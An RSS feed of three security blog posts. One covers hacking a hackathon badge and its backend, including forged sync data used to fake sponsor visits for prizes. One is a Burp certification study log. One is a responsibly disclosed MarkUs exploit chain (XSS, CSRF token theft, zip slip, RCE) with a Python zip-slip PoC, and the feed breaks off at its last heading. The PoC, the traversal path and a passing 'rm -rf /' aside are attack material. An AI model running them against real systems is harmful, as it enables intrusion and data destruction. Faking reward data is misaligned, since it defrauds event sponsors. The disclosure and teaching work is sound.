<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>janky</title><description>?</description><link>https://rizfol.github.io/</link><language>en</language><item><title>I investigated this year&apos;s Hack the North badge, here&apos;s what I found...</title><link>https://rizfol.github.io/posts/general/htn-badge/</link><guid isPermaLink="true">https://rizfol.github.io/posts/general/htn-badge/</guid><description>the more you know</description><pubDate>Tue, 22 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;This year, I had the pleasure of going to Hack the North again, and come to find out, they have a super cool programmable badge this time around sponsored by Solana™. No more cardboard + lanyard!&lt;/p&gt;
&lt;p&gt;Here&apos;s a pic:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./htn-badge-assets/htn-badge.jpg&quot; alt=&quot;pic of badge&quot; /&gt;&lt;/p&gt;
&lt;p&gt;During the opening ceremony, I found out Solana had a badge hack track, and my teammates (&lt;a href=&quot;https://www.linkedin.com/in/dayuhechen/&quot;&gt;David&lt;/a&gt;, &lt;a href=&quot;https://www.linkedin.com/in/simon-liu-359353378/&quot;&gt;Simon&lt;/a&gt;, and &lt;a href=&quot;https://www.linkedin.com/in/anthony-stefanuto/&quot;&gt;Anthony&lt;/a&gt;) and I immediately had an evil idea.&lt;/p&gt;
&lt;h1&gt;The big idea&lt;/h1&gt;
&lt;p&gt;We wanted to recreate the &lt;a href=&quot;https://www.youtube.com/watch?v=ms-HCLF6BZU&quot;&gt;Garry&apos;s Mod cough virus incident&lt;/a&gt;, except with badges. The idea was that when people exchanged info by bumping badges together, it would somehow &quot;infect&quot; the other badge and make it occasionally display &lt;strong&gt;cough&lt;/strong&gt;. We never got that part working.&lt;/p&gt;
&lt;p&gt;Instead, I found the badge&apos;s admin password, unlocked apps that most attendees never saw, and discovered that the server trusted quite a bit of what the badge told it.&lt;/p&gt;
&lt;h1&gt;Getting admin&lt;/h1&gt;
&lt;p&gt;I saw that Hack the North provided an IDE to make apps for the Solana badge app track.&lt;/p&gt;
&lt;p&gt;Here&apos;s what it looks like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./htn-badge-assets/ide.png&quot; alt=&quot;htn badge ide&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When I plugged in my badge and connected it to the IDE, the thing that immediately piqued my interest was the result from this help command:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./htn-badge-assets/help-line.png&quot; alt=&quot;command line help&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./htn-badge-assets/help-result.png&quot; alt=&quot;help result&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When we first tried running the commands, we got this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./htn-badge-assets/debug-error.png&quot; alt=&quot;debug command rejected without admin password&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried guessing some passwords like &lt;code&gt;htnbadge&lt;/code&gt;, but it didn&apos;t work, so I gave up and looked elsewhere.&lt;/p&gt;
&lt;p&gt;After looking around, I eventually found this interesting file on the hackthenorth.com website:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./htn-badge-assets/admin-password.png&quot; alt=&quot;admin password&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Turns out the password was sitting in a publicly accessible file used by the provisioning flow. The site would automatically append it to privileged commands so volunteers could provision badges without ever actually seeing the password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./htn-badge-assets/badge-provisioning.png&quot; alt=&quot;badge provisioning code&quot; /&gt;&lt;/p&gt;
&lt;p&gt;What was cool about having the admin password was that we could unlock all the apps for ourselves and even see organizer apps on the badge.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;seedall&lt;/code&gt;, we didn&apos;t have to walk around the whole building finding stickers to scan to unlock apps.&lt;/p&gt;
&lt;p&gt;We could also run &lt;code&gt;debug&lt;/code&gt; which would give us organizer apps for debugging the badge.&lt;/p&gt;
&lt;p&gt;Here are some of the apps you might&apos;ve missed:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;htn-badge-assets/app-files.jpeg&quot; alt=&quot;files&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;htn-badge-assets/app-fs.jpeg&quot; alt=&quot;files&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;htn-badge-assets/app-flashlight.jpeg&quot; alt=&quot;flashlight&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;htn-badge-assets/app-diagnostics.jpeg&quot; alt=&quot;diagnostics&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;htn-badge-assets/app-mines9.jpeg&quot; alt=&quot;mine sweeper&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Can we actually spread anything?&lt;/h1&gt;
&lt;p&gt;Even though we had the admin password, it didn&apos;t look like it would help us pull off the cough idea.&lt;/p&gt;
&lt;p&gt;So next, I tried dumping the firmware with esptool and revving it, but nothing really came up. I couldn&apos;t find any way to silently install an app on someone else&apos;s badge or have something run in the background displaying cough occasionally. The badge was pretty locked down.&lt;/p&gt;
&lt;h1&gt;API shenanigans&lt;/h1&gt;
&lt;p&gt;With all hope lost in the badge infection idea, I moved on to testing the syncing feature. Syncing uploaded badge state to the backend, including unlocked apps, sponsor visits, and game high scores.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./htn-badge-assets/badge-dashboard.png&quot; alt=&quot;synced badge dashboard&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When I synced my badge, I found that all of this was being sent to the server through an API request.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./htn-badge-assets/self-upload-req.png&quot; alt=&quot;request&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This badge data contained a list of files, and this is what is used to track the apps you have and the sponsors you visited as well. Here is more of the payload:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./htn-badge-assets/files-payload.png&quot; alt=&quot;files payload&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So, I tested if I could replay the request with the rest of the sponsors so that it would look like I had visited all of them. Since there were 64 sponsors, I added the corresponding sponsor &lt;code&gt;.cfg&lt;/code&gt; files with valid size and text values.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
// ...
  &quot;config/sponsors/42067.cfg&quot;: {
    &quot;size&quot;: 67,
    &quot;text&quot;: &quot;version=67\ntable=67\nslug=blah\nvisited_unix=123\n&quot;
  },
// ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After making the request to &lt;code&gt;self-upload&lt;/code&gt;, this is the result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./htn-badge-assets/result-image.png&quot; alt=&quot;result&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The funny thing was that achievements relied on this badge state. Since sponsor visits contributed points toward Goose Games rewards, the client-controlled state wasn&apos;t purely cosmetic. You could also get more points by giving yourself ridiculously high scores in the badge games.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./htn-badge-assets/achievement.png&quot; alt=&quot;achievement points get&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./htn-badge-assets/achievement-text.png&quot; alt=&quot;achievement text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Solana was also running a scavenger hunt with their &lt;a href=&quot;https://solanamobile.com/&quot;&gt;phone&lt;/a&gt; as a prize where you had to find 9 gift boxes around the venue. Not saying I did it, but allegedly, you could update your dashboard with this, lie to Solana, and finesse yourself a $500 phone.&lt;/p&gt;
&lt;h1&gt;Ending&lt;/h1&gt;
&lt;p&gt;We never managed to make everyone else&apos;s badges cough 😔&lt;/p&gt;
&lt;p&gt;But chasing that idea took me from the badge IDE, to an exposed admin password, to reversing the firmware, and eventually to figuring out how much the backend trusted the badge itself.&lt;/p&gt;
&lt;p&gt;I also got to meet a lot of cool people, build something fun, get a cool badge, and somehow actually get some sleep this year.&lt;/p&gt;
&lt;p&gt;All in all, a pretty good weekend.&lt;/p&gt;
&lt;p&gt;Hope you learned something new! Thanks for reading 😄&lt;/p&gt;
</content:encoded></item><item><title>I Tried Speedrunning the BSCP. I Passed First Try</title><link>https://rizfol.github.io/posts/certs/bscp/</link><guid isPermaLink="true">https://rizfol.github.io/posts/certs/bscp/</guid><description>~30 days of fun</description><pubDate>Fri, 11 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Prerequisites:&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Be unemployed&lt;/li&gt;
&lt;li&gt;Play CTFs and main web challenges for 1+ years&lt;/li&gt;
&lt;li&gt;Have 99 USD on hand&lt;/li&gt;
&lt;li&gt;Get your hands on Burp Pro&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;How to meet prerequisites&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Pretty easy to do. Some options include: quitting your job, getting laid off, or never being employed in the first place&lt;/li&gt;
&lt;li&gt;Go to https://ctftime.org/event/list/upcoming, maybe join a team or go solo and play one or more of these every week&lt;/li&gt;
&lt;li&gt;Can be done in a plethora of ways, preferably legally&lt;/li&gt;
&lt;li&gt;Mandatorily legally&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;BSCP what?&lt;/h1&gt;
&lt;p&gt;The Burp Suite Certified Practitioner exam involves two targets, and each target has three stages, with each stage requiring you to find and exploit a web vulnerability. The first stage is to get into a normal user account, the second stage is to get into an administrator account, and the third and final stage is to exploit a vulnerability to read &lt;code&gt;/home/carlos/secret&lt;/code&gt;. I gave myself a month to get through the material and pass it.&lt;/p&gt;
&lt;h1&gt;The plan is simple&lt;/h1&gt;
&lt;p&gt;This summer, I knew I wanted to get a cert, and I decided on the BSCP because I wanted more web experience that wasn&apos;t just super niche techniques and attacks that show up in CTFs. So, on August 6, 2026, I started going through the BSCP labs.&lt;/p&gt;
&lt;p&gt;The plan was:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;For topics that I knew, speedrun as many labs as possible and read through the material if I got stuck&lt;/li&gt;
&lt;li&gt;For topics that I didn&apos;t know, thoroughly learn all the material, attempt the labs, and write quick notes consisting of identification, exploitation, and a working payload&lt;/li&gt;
&lt;li&gt;Research and find the best way to prep for the exam&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Weeks 1-2: speedrun&lt;/h2&gt;
&lt;p&gt;I worked through the content as if it were a full-time job, spending 8+ hours on days I didn&apos;t have anything else to do. I started with the topics I already knew, then went fully topic by topic. A lot of the content I could speed through from my prior experience, going from 0% -&amp;gt; 67% completion in about 2 weeks.&lt;/p&gt;
&lt;h2&gt;Week 3: slowrun&lt;/h2&gt;
&lt;p&gt;The third week I spent learning about topics I didn&apos;t know much about, such as HTTP request smuggling, WebSockets, OAuth, and cache poisoning. To really keep this info in my head, I dug deep into what was going on behind the scenes of each vulnerability. After each lab, I would write down a quick note about how I identified the vulnerability, how I exploited it, along with a working payload. Here is an example of one I wrote for forced OAuth profile linking:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Detail to notice: no `state` parameter to prevent csrf in `/oauth-linking` request

What allows: We can make our victim link our social media account to their account and then login to their account with our social media account

Solved by linking account -&amp;gt; intercept requests -&amp;gt; send `/auth` request through -&amp;gt; copy the `/oauth-linking` request so that the code isn&apos;t used and send it to admin so that they complete the request for us -&amp;gt; login with our social media and delete carlos
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After going through all of that, I got to the point where I had all the Apprentice and Practitioner labs completed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./bscp-assets/level-progress.png&quot; alt=&quot;portswigger level progress&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Week 4: building confidence&lt;/h2&gt;
&lt;p&gt;Here, I researched other people&apos;s experiences, mostly through blogs or Reddit posts, and how they messed up or succeeded. A lot of the time, I found that these were the main causes of failure:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Rabbit-holing:&lt;/strong&gt; spending too long forcing one idea instead of pivoting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding the vuln but not finishing the exploit:&lt;/strong&gt; even if you find the vuln, you have to know how to exploit it to get to the next stage.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Memorizing labs instead of understanding them:&lt;/strong&gt; exam scenarios often require adapting known techniques and bypassing filters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weak discovery:&lt;/strong&gt; normal labs tell you the topic, while the exam does not, which can give you a false sense of confidence in your recon and vulnerability discovery skills.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Misusing Burp Scanner:&lt;/strong&gt; either relying on it too much or not using targeted scans enough.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Missing functionality:&lt;/strong&gt; overlooking an endpoint, parameter, cookie, or feature can waste huge amounts of time. This could also be caused by having too strict of a filter for your traffic, maybe causing you to miss important JS files for something like XSS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Poor time management:&lt;/strong&gt; stress and tunnel vision caused otherwise capable people to run out of time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Forgetting OAST/Collaborator:&lt;/strong&gt; an error response does not necessarily mean an out-of-band payload failed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bad exam setup:&lt;/strong&gt; mixing up the two apps, using a temporary Burp project, or changing environments caused avoidable problems.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is also a niche cause of failure that PortSwigger warns you about: accidentally deleting your own account or doing something destructive to the instance with the functionality you find. So yeah, don&apos;t &lt;code&gt;rm -rf /&lt;/code&gt; if you find command injection.&lt;/p&gt;
&lt;h3&gt;THE method&lt;/h3&gt;
&lt;p&gt;At this point, I figured the way to get over these pitfalls was to spam mystery labs to get my recon time down and blind exploitation skills up. I went through enough mystery labs to the point where I could complete at least 10 mystery labs in an hour.&lt;/p&gt;
&lt;p&gt;My process was basically using all the pattern recognition I had built up to test things. For example, if there was a search feature, it usually meant XSS or SQLi, so I would immediately go to the request, highlight the proper parameter, click &lt;code&gt;Scan selected insertion point&lt;/code&gt;, and scan for XSS and SQLi. During the scan, I would check out other features on the site and make sure I didn&apos;t miss anything. If I suspected anything there, I would use a similar process of scanning or testing whatever I had a hunch about.&lt;/p&gt;
&lt;p&gt;Once something weird showed up in a response or the scanner came up with something, it was go time to see if I could get an exploit working quickly. I would only keep a mental note of what I checked and what I didn&apos;t. Sometimes it was actually useful to forget, go back to a feature later, and find something new instead of writing it off as a complete dead end.&lt;/p&gt;
&lt;p&gt;Also, once you&apos;ve done this, make sure to complete BOTH practice exams that PortSwigger provides. They are very similar to the exam environment, and at this point you should be able to do them blind. These exams are also the same each time, so don&apos;t look up the answer and waste your opportunity to gauge your skills.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./bscp-assets/exam-prep-steps.png&quot; alt=&quot;exam preparation steps&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Even though I got to this point, I still didn&apos;t feel fully prepared.&lt;/p&gt;
&lt;h1&gt;Burp setup and useful resources&lt;/h1&gt;
&lt;h2&gt;Extensions&lt;/h2&gt;
&lt;p&gt;Extensions can save a lot of time in Burp Pro. The ones I had installed at the start of my exam were:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Param Miner&lt;/li&gt;
&lt;li&gt;Java Deserialization Scanner&lt;/li&gt;
&lt;li&gt;CO2&lt;/li&gt;
&lt;li&gt;JWT Editor&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Resources&lt;/h2&gt;
&lt;p&gt;During my prep, I did more research and found some extremely helpful resources to have open during the exam:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/DingyShark/BurpSuiteCertifiedPractitioner&lt;/li&gt;
&lt;li&gt;https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But don&apos;t forget PortSwigger resources as well, such as the XSS cheat sheet.&lt;/p&gt;
&lt;p&gt;These resources were mainly useful because they show which types of vulns may show up at each stage of the exam, and they have quick payloads to use in case you don&apos;t exactly remember one. Most of the time, you&apos;ll be able to write the exploit yourself or adapt the scanner result.&lt;/p&gt;
&lt;p&gt;The XSS cheat sheet was useful as well in case you ever need to bypass a filter.&lt;/p&gt;
&lt;h1&gt;How to not go broke&lt;/h1&gt;
&lt;p&gt;Burp Pro is normally 499 USD, which may be quite a hefty sum for some. One thing you can do so that you only pay the exam fee of 99 USD is get a 30-day free trial of Burp Pro instead. &quot;But how do I learn the content without Burp Pro?&quot; you may ask. Well, you can actually learn all the content for free and complete most of the labs with the Community Edition or by writing your own Python exploit scripts, which I did for the blind SQLi labs. IIRC, the only labs that you can&apos;t complete are the OAST ones, which require Burp Collaborator if you don&apos;t have access to an exploit server.&lt;/p&gt;
&lt;p&gt;Once you do get your Burp Pro trial or subscription, make sure you learn how to use the scanner effectively. Targeted scanning and the &lt;code&gt;Scan selected insertion point&lt;/code&gt; feature are a massive part of how quickly you can identify and exploit vulnerabilities. Along with that, learn how to use Intruder properly instead of sending everything to Repeater, especially for stuff like SQLi, fuzzing, or brute forcing. I also recommend that once you complete a lab, look at the official solution so that you can see how to use Burp Suite in the intended way. This helps you learn the tool while you don&apos;t have all the Pro features.&lt;/p&gt;
&lt;h1&gt;AI usage verdict as of 09-07-2026&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;This section exists because I couldn&apos;t find anything online about what PortSwigger considered acceptable AI usage during the exam. Since Burp Pro itself includes Burp AI, which can send requests and interact with targets, I wanted to know where they drew the line before using it. Hopefully this helps someone else out there looking for the same answer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I&apos;m a very meticulous guy, so I still wanted clarification on what counted as cheating or not, especially in this age of LLMs.&lt;/p&gt;
&lt;p&gt;So, I emailed PortSwigger about AI usage, and this is the response I got:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./bscp-assets/email.png&quot; alt=&quot;email&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I emailed after work hours on a Friday, so I wouldn&apos;t get a response until next week.&lt;/p&gt;
&lt;h1&gt;Fuck it we ball&lt;/h1&gt;
&lt;p&gt;Turns out I&apos;m also a very eager typa guy and after all this prep, I could NOT wait until Monday to get a response from support, so I purchased an exam voucher and decided to take it then and there. So I didn&apos;t really end up using AI.&lt;/p&gt;
&lt;p&gt;I made sure to pre-load all my Burp extensions and create a non-temporary project. I opened the proctoring site, where you have to upload identification and share your screen(s), microphone, and camera.&lt;/p&gt;
&lt;p&gt;Before clicking the button to launch the exam instance, my heart was racing, but once I opened the target in Burp, I was locked in. I cannot disclose what vulnerabilities were on the exam, but trust me when I say my pattern recognition kicked in. I immediately found the vulnerability, passed the first stage, then the second, then the third. I completed the first target in an hour.&lt;/p&gt;
&lt;p&gt;I then moved on to the second target, which took me a bit longer in the second stage because of some functionality I initially missed but later found. All said and done, I ended up finishing the whole exam in 3 of the 4 hours allotted.&lt;/p&gt;
&lt;p&gt;Since I completed this on Friday after work hours, I had to wait until Monday for my result, and this is what I received on said Monday:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./bscp-assets/passed-email.png&quot; alt=&quot;passed email&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I passed!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cert:&lt;/strong&gt; https://portswigger.net/web-security/e/c/bcf87f2c9e6545e9&lt;/p&gt;
&lt;h1&gt;If I did it again (green splits)&lt;/h1&gt;
&lt;p&gt;I would say the most impactful practice was first completing all the Apprentice and Practitioner labs, then spamming the mystery labs, and finally solving the practice exams blind.&lt;/p&gt;
&lt;p&gt;As for what I would do differently, I would JUST START. I wasted a decent amount of time trying to figure out the perfect way to prepare before I had even really started. That alone was probably a few days of free time save.&lt;/p&gt;
&lt;p&gt;Also, most of the process I ended up with came from noticing inefficiencies in how I worked, as well as researching issues that other people had. For example, in the first week, I was taking really long notes on stuff I already knew, which had me bored out of my mind. Eventually I switched to writing much quicker notes as I went through each lab. They basically followed: why -&amp;gt; identify -&amp;gt; exploit, which was way more useful. If I had started earlier, I probably would&apos;ve found even more inefficiencies and time saves along the way.&lt;/p&gt;
&lt;p&gt;I wouldn&apos;t try to speedrun everything though. The reason this worked was because I only sped through the stuff I already knew. When I got to topics I didn&apos;t know much about, I slowed down and actually learned what was going on.&lt;/p&gt;
&lt;p&gt;If I ran this route again, I think I could probably get a sub 4 week PB:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Week 1:&lt;/strong&gt; spam the stuff I already know&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Week 2:&lt;/strong&gt; learn the stuff I don&apos;t know&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Week 3:&lt;/strong&gt; spam mystery labs -&amp;gt; practice exams blind -&amp;gt; full send&lt;/p&gt;
&lt;p&gt;So basically:&lt;/p&gt;
&lt;p&gt;known stuff -&amp;gt; new stuff -&amp;gt; spam mystery labs&lt;/p&gt;
&lt;p&gt;Also, being unemployed definitely helps 😊&lt;/p&gt;
&lt;p&gt;Thanks for reading!&lt;/p&gt;
</content:encoded></item><item><title>How We Accidentally Hacked the #1 University in Canada</title><link>https://rizfol.github.io/posts/general/markus/</link><guid isPermaLink="true">https://rizfol.github.io/posts/general/markus/</guid><description>How a MarkUs bug chain went from CSRF and zip slip to RCE.</description><pubDate>Tue, 21 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ok, so that title is a little dramatic, but this was a real vulnerability chain in MarkUs, a grading platform used by UofT and Waterloo. This was not a CTF, and we did not use it to change grades or mess with anyone&apos;s data. Everything was responsibly disclosed through GitHub Security Advisories and Teams, and we also helped patch the bugs.&lt;/p&gt;
&lt;p&gt;This post is going to focus mostly on my side of the story: getting MarkUs running locally, stealing CSRF tokens with XSS, building the zip slip payload, and turning file write into RCE.&lt;/p&gt;
&lt;p&gt;If you want more details on the full chain, Amin also wrote about it here: &lt;a href=&quot;https://xtra.sh/blog/markus/&quot;&gt;https://xtra.sh/blog/markus/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;Dependency Hell&lt;/h1&gt;
&lt;p&gt;Before we could do any cool hacker stuff, I had to get MarkUs running locally.&lt;/p&gt;
&lt;p&gt;Honestly, setup can sometimes be the hardest part of vulnerability research and I think anyone who has tried testing real software locally knows what I mean. Sometimes you end up patching license checks, hunting for the one VM image an old app still runs on, waiting hours for dependencies to install on bad internet, or trying to track down vulnerable versions that are not even listed publicly anymore.&lt;/p&gt;
&lt;p&gt;For MarkUs, I had to fix the Docker build and production-ish compose setup enough to run the full stack locally: Rails, Postgres, Redis, Resque workers, SSH, and Apache/httpd. The main Dockerfile fixes were patching &lt;code&gt;/app/.bundle/config&lt;/code&gt; ownership after root ran &lt;code&gt;bundle config&lt;/code&gt;, forcing npm dev dependencies during asset precompile so &lt;code&gt;sass&lt;/code&gt; existed, and installing &lt;code&gt;openssh-server&lt;/code&gt; in the prod image because &lt;code&gt;compose-prod.yaml&lt;/code&gt; starts &lt;code&gt;/usr/sbin/sshd&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After that, Rails and the Apache proxy both returned &lt;code&gt;200&lt;/code&gt;, which was the point where I could finally stop fighting Docker and start testing the actual bugs. Very fun. Very normal.&lt;/p&gt;
&lt;p&gt;This mattered a lot because once my local setup worked, I could stream it in call and we could test ideas quickly without touching any real school instance. My computer&apos;s name is Carl, so if you see that in the demo, that is why.&lt;/p&gt;
&lt;h1&gt;From XSS to CSRF&lt;/h1&gt;
&lt;p&gt;The chain started with a submission preview bug that could lead to XSS in an instructor&apos;s session. I am not going to spend too much time on that here, because the part I worked on more was what came after the JavaScript was already running.&lt;/p&gt;
&lt;p&gt;An &lt;code&gt;alert()&lt;/code&gt; is cool for proving XSS, but it does not do much by itself. The real question is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Can we use this to make authenticated requests as the instructor?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;MarkUs, like most Rails apps, uses CSRF tokens for state-changing requests. So even if we had JavaScript running, we still needed a valid token before we could POST to interesting endpoints.&lt;/p&gt;
&lt;p&gt;The trick was pretty classic CTF stuff. Since the XSS was same-origin, the payload could fetch another page from MarkUs, read the HTML, pull out a CSRF token, and then reuse that token in a request.&lt;/p&gt;
&lt;p&gt;At that point the XSS became a way to drive the instructor&apos;s browser through the app for us.&lt;/p&gt;
&lt;h1&gt;The Interesting Endpoint&lt;/h1&gt;
&lt;p&gt;The endpoint that became really interesting was assignment configuration upload.&lt;/p&gt;
&lt;p&gt;Instructors can upload a zip file to create an assignment from an exported MarkUs config. That means MarkUs receives a zip, reads files out of it, and writes parts of it back to disk.&lt;/p&gt;
&lt;p&gt;Whenever I see &quot;upload a zip and extract it&quot;, my brain immediately goes to zip slip.&lt;/p&gt;
&lt;p&gt;The vulnerable code was basically:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zip_file.glob(test_file_glob_pattern) do |entry|
  zip_file_path = Pathname.new(entry.name)
  filename = zip_file_path.relative_path_from(CONFIG_FILES[:automated_tests_dir_entry])
  file_path = File.join(assignment.autotest_files_dir, filename.to_s)

  FileUtils.mkdir_p(File.dirname(file_path))
  File.write(file_path, entry.get_input_stream.read, mode: &quot;wb&quot;)
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The problem is that &lt;code&gt;entry.name&lt;/code&gt; comes from the zip. If the zip entry contains &lt;code&gt;../&lt;/code&gt;, then the final path can escape the intended directory.&lt;/p&gt;
&lt;p&gt;So if MarkUs thinks it is writing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;automated-test-config-files/automated-test-files/tests.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;we can instead make it write something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;automated-test-config-files/automated-test-files/../../../../../some/other/file
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That gives arbitrary file write as the MarkUs app user.&lt;/p&gt;
&lt;h1&gt;File Write is Not RCE&lt;/h1&gt;
&lt;p&gt;Arbitrary file write is great, but it is not automatically RCE. We still needed to find a file we could overwrite that would actually get executed.&lt;/p&gt;
&lt;p&gt;This is where Hack The Box helped a lot. On HTB boxes, after you get some access, you usually enumerate like crazy and look for anything weird: writable files, scripts, services, cron jobs, SSH config, whatever.&lt;/p&gt;
&lt;p&gt;So I ran &lt;code&gt;linpeas&lt;/code&gt; in the local MarkUs environment.&lt;/p&gt;
&lt;p&gt;Eventually, &lt;code&gt;linpeas&lt;/code&gt; highlighted &lt;code&gt;markus-git-shell.sh&lt;/code&gt; in red.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./markus-assets/linpeas.png&quot; alt=&quot;linpeas showing markus-git-shell.sh as an interesting file&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That was the moment where things started to click. MarkUs uses that script for repository access over SSH. If we could overwrite it with the zip slip, then trigger a normal repo action, the server would execute our script.&lt;/p&gt;
&lt;h1&gt;The Zip Slip PoC&lt;/h1&gt;
&lt;p&gt;The PoC zip still needed to look like a valid assignment config. We could not just upload a zip with one random file and expect MarkUs to accept it.&lt;/p&gt;
&lt;p&gt;So the script copied the normal fixture files MarkUs expected, then added one extra zip entry with path traversal.&lt;/p&gt;
&lt;p&gt;Here is the shortened version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import zipfile
from pathlib import Path

payload_name = (
    &quot;automated-test-config-files/automated-test-files/&quot;
    &quot;../../../../../lib/repo/markus-git-shell.sh&quot;
)

payload_content = &quot;&quot;&quot;#!/bin/bash
# reverse shell payload redacted
&quot;&quot;&quot;

fixture_dir = Path(&quot;Markus/spec/fixtures/files/assignments/sample-timed-assessment-good&quot;)

entries = [
    (&quot;properties.yml&quot;, fixture_dir / &quot;properties.yml&quot;),
    (&quot;tags.yml&quot;, fixture_dir / &quot;tags.yml&quot;),
    (&quot;criteria.yml&quot;, fixture_dir / &quot;criteria.yml&quot;),
    (&quot;annotations.yml&quot;, fixture_dir / &quot;annotations.yml&quot;),
    (
        &quot;automated-test-config-files/automated-test-specs.json&quot;,
        fixture_dir / &quot;automated-test-config-files/automated-test-specs.json&quot;,
    ),
    (
        &quot;automated-test-config-files/automated-test-files/tests.py&quot;,
        fixture_dir / &quot;automated-test-config-files/automated-test-files/tests.py&quot;,
    ),
]

with zipfile.ZipFile(&quot;zip-slip-check.zip&quot;, &quot;w&quot;) as zf:
    for arcname, src in entries:
        zf.write(src, arcname)

    zf.writestr(payload_name, payload_content)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The important part is &lt;code&gt;zf.writestr(payload_name, payload_content)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That writes our payload into the zip under a path that escapes the automated test files folder and lands on &lt;code&gt;lib/repo/markus-git-shell.sh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So the chain became:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;XSS runs in an instructor session.&lt;/li&gt;
&lt;li&gt;The payload fetches a MarkUs page and steals a CSRF token.&lt;/li&gt;
&lt;li&gt;The payload uploads our crafted config zip.&lt;/li&gt;
&lt;li&gt;Zip slip overwrites &lt;code&gt;markus-git-shell.sh&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A normal SSH/git action triggers the overwritten script.&lt;/li&gt;
&lt;li&gt;RCE.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Popping the Shell&lt;/h1&gt;
